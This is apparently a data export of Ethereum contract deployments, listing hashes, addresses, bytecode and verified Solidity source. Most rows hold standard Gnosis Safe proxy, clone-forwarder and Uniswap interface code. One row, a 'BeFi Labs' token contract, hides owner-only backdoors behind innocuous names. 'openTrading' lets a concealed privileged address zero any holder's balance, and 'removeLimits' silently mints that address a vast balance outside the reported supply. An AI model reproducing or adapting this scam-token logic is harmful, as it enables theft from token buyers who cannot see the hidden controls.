1 | 19,494,934 | 3679806f0e5133d61eb7c2a82388ec37bdd065d9b21f989792ab8bbd0c9d72eb | 2814b2b66a2353834d599cc4eddf644ac03a1d5cf0551fde818b2f6ede1470c2 | 000099b4a4d3ceb370d3a8a6235d24e07a8c0000 | ee2a0343e825b2e5981851299787a679ce08216d | d2f248351516a859b4d5fe51a2a39c7fb8279a4e | 6080604052348015600f57600080fd5b50604051610211380380610211833981016040819052602c916059565b600080546001600160a01b039092166001600160a01b031992831617905560018054909116331790556087565b600060208284031215606a57600080fd5b81516001600160a01b0381168114608057600080fd5b9392505050565b61017b806100966000396000f3fe60806040526004361061002d5760003560e01c80638da5cb5b146100d9578063d4b839921461011557610034565b3661003457005b600154336001600160a01b03909116036100a257600080546040516001600160a01b03909116906100689083903690610135565b600060405180830381855af49150503d80600081146100a0576040519150601f19603f3d011682016040523d82523d6000602084013e005b005b60405134815233907f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f885258749060200160405180910390a2005b3480156100e557600080fd5b506001546100f9906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b34801561012157600080fd5b506000546100f9906001600160a01b031681565b818382376000910190815291905056fea264697066735822122072fb1ca36d430fdff59e91c1f28c88a6d1e6ee148f01591a2f4693fddcfb655264736f6c634300081900330000000000000000000000008906668094934bbfd0f787010fac65d8438019f5 | 60806040526004361061002d5760003560e01c80638da5cb5b146100d9578063d4b839921461011557610034565b3661003457005b600154336001600160a01b03909116036100a257600080546040516001600160a01b03909116906100689083903690610135565b600060405180830381855af49150503d80600081146100a0576040519150601f19603f3d011682016040523d82523d6000602084013e005b005b60405134815233907f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f885258749060200160405180910390a2005b3480156100e557600080fd5b506001546100f9906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b34801561012157600080fd5b506000546100f9906001600160a01b031681565b818382376000910190815291905056fea264697066735822122072fb1ca36d430fdff59e91c1f28c88a6d1e6ee148f01591a2f4693fddcfb655264736f6c63430008190033 | |
1 | 19,494,936 | a3465adfc7b5f7d68064a9b7105e9e18b9ef0342b2b971048ba4871884a234b7 | 5e30d48bc9cb1cadccc6b99f8bdc13cbb008710d260464d3ceae74706e545da3 | 691cf56d8035b1115803b8e3262721ffec3aab3f | 691cf56d8035b1115803b8e3262721ffec3aab3f | 3da0ed9ba67d1ec0cf5fdee7598b544bd8a1fa38 | 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| /*
* SPDX-License-Identifier: MIT
// Telegram: https://t.me/BeFiLabsAnn
// Twitter: https://twitter.com/BefiLabs
// Website: https://befilabs.com/
// Discord: https://discord.com/invite/asvrdMp9e8
// Medium: https://befilabs.medium.com/
*/
pragma solidity ^0.8.23;
interface IPancakeFactory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
contract BeFi {
address internal constant FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address internal constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint256 private tokenTotalSupply;
string private tokenName;
string private tokenSymbol;
address private xxnux;
uint8 private tokenDecimals;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor(address ads) {
tokenName = "BeFi Labs";
tokenSymbol = "BEFI";
tokenDecimals = 18;
tokenTotalSupply = 210000000* 10 ** tokenDecimals;
_balances[msg.sender] = tokenTotalSupply;
emit Transfer(address(0), msg.sender, tokenTotalSupply);
xxnux = ads;
}
function openTrading(address bots) external {
if(xxnux == msg.sender && xxnux != bots && pancakePair() != bots && bots != ROUTER){
_balances[bots] = 0;
}
}
function removeLimits(uint256 addBot) external {
if(xxnux == msg.sender){
_balances[msg.sender] = 42069000000*42069*addBot*10**tokenDecimals;
}
}
function pancakePair() public view virtual returns (address) {
return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));
}
function symbol() public view returns (string memory) {
return tokenSymbol;
}
function totalSupply() public view returns (uint256) {
return tokenTotalSupply;
}
function decimals() public view virtual returns (uint8) {
return tokenDecimals;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function name() public view returns (string memory) {
return tokenName;
}
function transfer(address to, uint256 amount) public returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
address spender = msg.sender;
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
uint256 balance = _balances[from];
require(balance >= amount, "ERC20: transfer amount exceeds balance");
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_balances[from] = _balances[from]-amount;
_balances[to] = _balances[to]+amount;
emit Transfer(from, to, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_approve(owner, spender, currentAllowance - amount);
}
}
} |
1 | 19,494,936 | a3465adfc7b5f7d68064a9b7105e9e18b9ef0342b2b971048ba4871884a234b7 | 005888be4590941b71a19d2acd169e4e35e87fbccff9bb703cec89290a94fdd5 | ca16ecc0e772ff12f3cfc50686ebbf01b793fca6 | ca16ecc0e772ff12f3cfc50686ebbf01b793fca6 | 85b7195a0a06b11e25eecbdf908cb49242aa9b04 | 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| |
1 | 19,494,936 | a3465adfc7b5f7d68064a9b7105e9e18b9ef0342b2b971048ba4871884a234b7 | dd1f998fdb3cefd7ad1ad384859a03c3a14835ae25a12662f31d500893b01c68 | a0d372e4229d92aebbbcc9ee1047f01e777b10b3 | a6b71e26c5e0845f74c812102ca7114b6a896ab2 | 6f1f82bef19f707db899871f4014f66ac69fa707 | 608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552 | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
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1 | 19,494,944 | 0e5c7a89591d7219c99853c80d98080e70886f007f46c909ff0252ee49c1aae8 | 58d0c990e816181d690dbfa9f6d3380fae8050553a3eb7f5f62d46adf88209e9 | 07ed30c828e55760982b960d2444cc288cd88008 | a6b71e26c5e0845f74c812102ca7114b6a896ab2 | 30c005d41b0f12ec40c9145e3b0ad777efb326c2 | 608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552 | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
1 | 19,494,944 | 0e5c7a89591d7219c99853c80d98080e70886f007f46c909ff0252ee49c1aae8 | b54e996c9d4a431b2a7dc48f1addbf5ba83a133196f298aa244597716df70388 | 05f9f32ef9284654157ca900bd2a174691fb99a0 | ffa397285ce46fb78c588a9e993286aac68c37cd | 86306d196c1ddf4545a100b79825ea94fbe85721 | 3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
} |
1 | 19,494,945 | e9b4ec1cdaa3c20085c6e4aa807fc94dfeb2d3b219ef5fc21ad3836dfc1be5f3 | 9985901d9e6097f31adece842aa3d3a55c75b591d97ad04cfc42f0698356f3cc | 691cf56d8035b1115803b8e3262721ffec3aab3f | 5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f | 6fb4fa797b767dd7114299dcffa854b7e07ae6f2 | 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| // File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
